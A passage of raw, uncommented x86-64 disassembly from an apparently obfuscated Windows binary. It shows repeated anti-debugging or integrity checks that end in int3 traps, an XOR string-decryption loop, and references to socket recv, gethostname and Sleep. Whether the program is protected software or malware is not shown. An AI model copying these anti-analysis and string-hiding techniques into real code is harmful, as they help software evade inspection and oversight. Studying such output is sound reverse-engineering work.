shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14004462e
add edi, r14d
cmp edi, 5
jl 0x140044437
lea rcx, [rbp + 0xd30]
call fcn.1400054a0
mov edx, eax
lea rcx, [rbp + 0x1bee0]
call fcn.140051450
mov rax, qword gs:[0xd]
movabs r11, 0x2aaaaaaaaaaaaaab
cmp rax, rsi
jne 0x140044644
mov rdi, rbx
mov r8d, r12d
mov r9, r15
movabs rsi, 0xc9120f8b6b5ff569
sub r8d, r14d
sub r9, r14
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140044528
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x1400444e8
mov rax, rdi
xor rax, rdi
mov esi, 0xdb9fe8e7
xor rax, rsi
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
mov r12d, 0x232356cd
xor rcx, r12
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140044639
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x140044598
jmp 0x140044650
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r12d, 0x232356cd
mov r10d, 0xdeadbeef
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x14004479d
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9, rsi
mov r15d, 0xffafffef
mov rdx, r12
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r15
xor rcx, rax
add rdi, rcx
add r8d, r14d
add r9, r14
cmp r8d, 8
jl 0x140044674
mov rcx, rdi
xor rcx, r10
mov rax, rdi
xor rax, rcx
mov qword [rbp + 0xd10], rax
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140044a29
add edi, r14d
cmp edi, 5
jl 0x140044735
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x1400448e8
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov r15d, 0xffafffef
mov rdx, r12
mov ecx, r9d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r15
xor rcx, rax
add rdi, rcx
add r9d, r14d
add r10, r14
cmp r9d, 8
jl 0x1400447c1
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140044a34
add edi, r14d
cmp edi, 5
jl 0x140044880
mov dword [rsp + 0x68], ebx
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140044a4a
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9, r15
movabs r10, 0xc9120f8b6b5ff569
sub r8d, r14d
sub r9, r14
mov rax, r11
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140044954
sub ecx, r14d
or ecx, 0xfffffffc
add ecx, r14d
mov rax, r10
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140044914
mov rax, rdi
xor rax, rdi
xor rax, rsi
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov r10d, 0xdeadbeef
or rcx, r10
mov rax, rdi
mov edx, 0xbd2ec3eb
or rax, rdx
xor rcx, rax
mov r12d, 0x232356cd
xor rcx, r12
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd18]
or rdx, rax
mov rcx, qword [rbp + 0xd10]
or rcx, rdx
mov rax, qword [rbp + 0xd20]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140044a3f
add edi, r14d
mov eax, 0xa
cmp edi, eax
jl 0x1400449bf
jmp 0x140044a50
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov r12d, 0x232356cd
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140044b9b
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov r15d, 0xffafffef
mov rdx, r12
mov ecx, r9d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r15
xor rcx, rax
add rdi, rcx
add r9d, r14d
add r10, r14
cmp r9d, 8
jl 0x140044a74
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r10d, 0xdeadbeef
or rax, r10
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400458bd
add edi, r14d
cmp edi, 5
jl 0x140044b33
mov qword [rbp + 0xbf8], rbx
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140044cc7
mov r8, rbx
mov rcx, r14
mov r9d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r14
sub r9, r14
jne 0x140044bc6
xor rdi, r12
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
or rax, r10
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r11, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400458c8
add edi, r14d
cmp edi, 7
jl 0x140044c5f
mov rax, qword gs:[0xd]
cmp rax, rsi
jne 0x140044e11
mov r8, r13
mov rdi, rbx
mov r9d, ebx
mov r10, rsi
mov r15d, 0xffafffef
mov ecx, r9d
mov rdx, rsi
shl rdx, cl
mov rax, r12
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r11
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r15
xor rcx, rax
add rdi, rcx
add r9d, r14d
add r10, r14
cmp r9d, 8
jl 0x140044ceb
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + rsi]
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r15d, 0xdb9fe8f7
movsxd rcx, edi
add rcx, rsi
mov rax, r11
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400458d3
add edi, r14d
cmp edi, 5
jl 0x140044da9
lea rcx, [rbp + 0x1bee0]
call fcn.140051490
mov edi, eax
lea rcx, [rbp + 0xe98]
call fcn.140050f90
mov rcx, rax
xor edx, edx
mov eax, edi
div rcx
mov r14, rdx
mov rax, qword gs:[0xd]
mov r12d, 1
cmp rax, rsi
jne 0x140044f88
mov rdi, rbx
lea r8d, [r12 + 0xf]
mov r9, r15
movabs rsi, 0xc9120f8b6b5ff569
movabs r10, 0x2aaaaaaaaaaaaaab
sub r8d, r12d
sub r9, r12
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140044eaf
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, rsi
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x140044e6f
mov rax, rdi
xor rax, rdi
mov esi, 0xdb9fe8e7
xor rax, rsi
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, rsi
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400458de
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x140044f1c
mov esi, ebx
lea rcx, [rbp + 0xe98]
call fcn.140050f90
movabs r15, 0x14e60439d9
movabs r11, 0x29cc0873b2
test rax, rax
je 0x140045551
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
jne 0x140045125
mov r10, r13
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
movabs r15, 0x2aaaaaaaaaaaaaab
mov r13d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r13
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x140044fe7
movabs r15, 0x14e60439d9
mov r13d, 0x9e0d9526
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r11
movabs r8, 0x2aaaaaaaaaaaaaab
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400458e9
add edi, r12d
cmp edi, 5
jl 0x1400450bd
movsxd rdx, r14d
lea rcx, [rbp + 0xe98]
call fcn.140050f88
mov rcx, qword [rax]
call fcn.14003af70
mov r12d, eax
mov dword [rsp + 0x68], r12d
mov rcx, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rcx, r11
jne 0x140045284
mov rdi, rbx
mov r10d, 1
mov ecx, r10d
lea r9d, [r10 + 4]
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add rdi, rax
mov r8, qword gs:[7]
movzx eax, dil
xor r8, rax
add rcx, r10
sub r9, r10
jne 0x140045172
mov r11d, 0xdb9fe8e7
xor r8, 0x232356cd
mov rcx, r8
mov eax, 0xbd2ec3eb
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xe78], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xe80], rax
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xe88], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xe88]
and rdx, rax
mov rcx, qword [rbp + 0xe80]
and rcx, rdx
mov rax, qword [rbp + 0xe78]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400458f4
add edi, r10d
cmp edi, 7
jl 0x140045215
test r12d, r12d
jne 0x140045915
mov rax, qword gs:[0xd]
mov r12d, 1
cmp rax, r11
jne 0x1400453e1
mov rdi, rbx
lea r8d, [r12 + 0xf]
mov r9d, 0xdb9fe8f7
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r11, 0xc9120f8b6b5ff569
sub r8d, r12d
sub r9, r12
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x140045307
sub ecx, r12d
or ecx, 0xfffffffc
add ecx, r12d
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x1400452c7
mov r11d, 0xdb9fe8e7
mov rax, rdi
xor rax, rdi
xor rax, r11
mov qword [rbp + 0xde8], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xdf0], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xdf8], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xdf8]
or rdx, rax
mov rcx, qword [rbp + 0xdf0]
or rcx, rdx
mov rax, qword [rbp + 0xde8]
or rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x1400458ff
add edi, r12d
mov eax, 0xa
cmp edi, eax
jl 0x140045375
lea rcx, [rbp + 0xe98]
call fcn.140050f90
mov rdi, rax
lea eax, [r14 + 1]
cdqe
xor edx, edx
div rdi
mov r14d, edx
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
cmp rax, r10
jne 0x14004552c
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x140045428
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r11
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd38], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r10
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd40]
and rcx, rdx
mov rax, qword [rbp + 0xd38]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x14004590a
add edi, r12d
cmp edi, 7
jl 0x1400454bd
add esi, r12d
lea rcx, [rbp + 0xe98]
call fcn.140050f90
movsxd rcx, esi
cmp rcx, rax
jb 0x140044fb3
movabs r11, 0x29cc0873b2
mov rax, qword gs:[0xd]
mov esi, 0xdb9fe8e7
cmp rax, rsi
jne 0x14004567e
mov r8, rbx
mov rcx, r12
mov r9d, 5
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r12
sub r9, r12
jne 0x14004557a
xor rdi, 0x232356cd
mov rcx, rdi
imul rcx, r10
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd38], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd40], rax
xor rcx, rsi
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd48], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, rsi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
and rdx, rax
mov rcx, qword [rbp + 0xd40]
and rcx, rdx
mov rax, qword [rbp + 0xd38]
and rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140046b11
add edi, r12d
cmp edi, 7
jl 0x14004560f
movdqa xmm0, xmmword [0x14010a100]
movdqu xmmword [rbp + 0x588], xmm0
mov byte [rbp + 0x598], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x599], 0x79
mov byte [rbp + 0x59a], Ordinal_217
mov byte [rbp + 0x59b], __WSAFDIsSet
mov byte [rbp + 0x59c], 0xb6
xor eax, eax
mov byte [rbp + 0x59d], al
mov r8, rbx
lea r10d, [rax + 0x15]
mov r9, r15
mov esi, 0xfec33fb5
movabs r14, 0x8080808080808081
mov r13d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r14
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x588]
xor dil, r8b
mov byte [rbp + r8 + 0x588], dil
add r8, r12
add r9, rsi
add r10, 0x15
cmp r9, r11
jb 0x1400456d8
mov byte [rbp + 0x59d], bl
mov r8d, r12d
xor edx, edx
lea rcx, [rbp + 0x588]
call fcn.140039734
mov rax, qword gs:[0xd]
mov esi, 0xdb9fe8e7
cmp rax, rsi
mov r13d, 0x9e0d9526
jne 0x140045d6c
mov r10d, r13d
mov rdi, rbx
mov r8d, ebx
mov r9d, esi
movabs r15, 0x2aaaaaaaaaaaaaab
mov r13d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, rsi
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r15
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r13
xor rcx, rax
add rdi, rcx
add r8d, r12d
add r9, r12
cmp r8d, 8
jl 0x14004578d
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd38], rax
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov r14d, 0xdeadbeef
or rax, r14
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd40], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd48], rdi
mov edi, ebx
mov r13d, 0x9e0d9526
movsxd rcx, edi
add rcx, rsi
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd48]
xor rdx, rax
mov rcx, qword [rbp + 0xd40]
xor rcx, rdx
mov rax, qword [rbp + 0xd38]
xor rax, rcx
mov qword [rsp + 0x60], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x60]
cmp rax, rcx
je 0x140046b1c
add edi, r12d
cmp edi, 5
jl 0x140045850
jmp 0x140045d7c
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x60]
call fcn.1400c0bb8
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xc68], gethostname
mov qword [rbp + 0xc70], rbx
mov dword [rbp + 0xc80], ebx
mov qword [rbp + 0xc78], rbx
xorps xmm0, xmm0
